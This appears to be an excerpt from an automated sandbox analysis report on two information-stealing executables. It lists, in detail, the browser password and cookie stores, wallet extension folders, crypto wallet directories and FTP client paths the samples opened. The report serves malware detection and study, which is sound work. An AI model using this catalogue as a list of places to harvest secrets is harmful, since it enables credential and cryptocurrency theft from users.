Source: Yara match	File source: 0000000D.00000002.2940306745.00000000015BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2922718430.0000000000611000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2559813189.0000000005310000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0d8313073f.exe PID: 4136, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 24da741fb6.exe, 0000000B.00000003.2529120608.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: 24da741fb6.exe, 0000000B.00000003.2529120608.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\ElectronCash\wallets
Source: 24da741fb6.exe, 0000000B.00000003.2588490537.0000000005967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 24da741fb6.exe, 0000000B.00000003.2527964118.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsonn
Source: 24da741fb6.exe, 0000000B.00000003.2529120608.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: 24da741fb6.exe, 0000000B.00000003.2583452418.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 24da741fb6.exe, 0000000B.00000003.2527964118.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 24da741fb6.exe, 0000000B.00000003.2588490537.0000000005967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Fwkdsz.exe, 00000007.00000002.2671334911.0000000003EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: 24da741fb6.exe, 0000000B.00000003.2527822661.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003344001\0d8313073f.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\HTAGVDFUIE
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1003343001\24da741fb6.exe	Directory queried: C:\Users\user\Documents
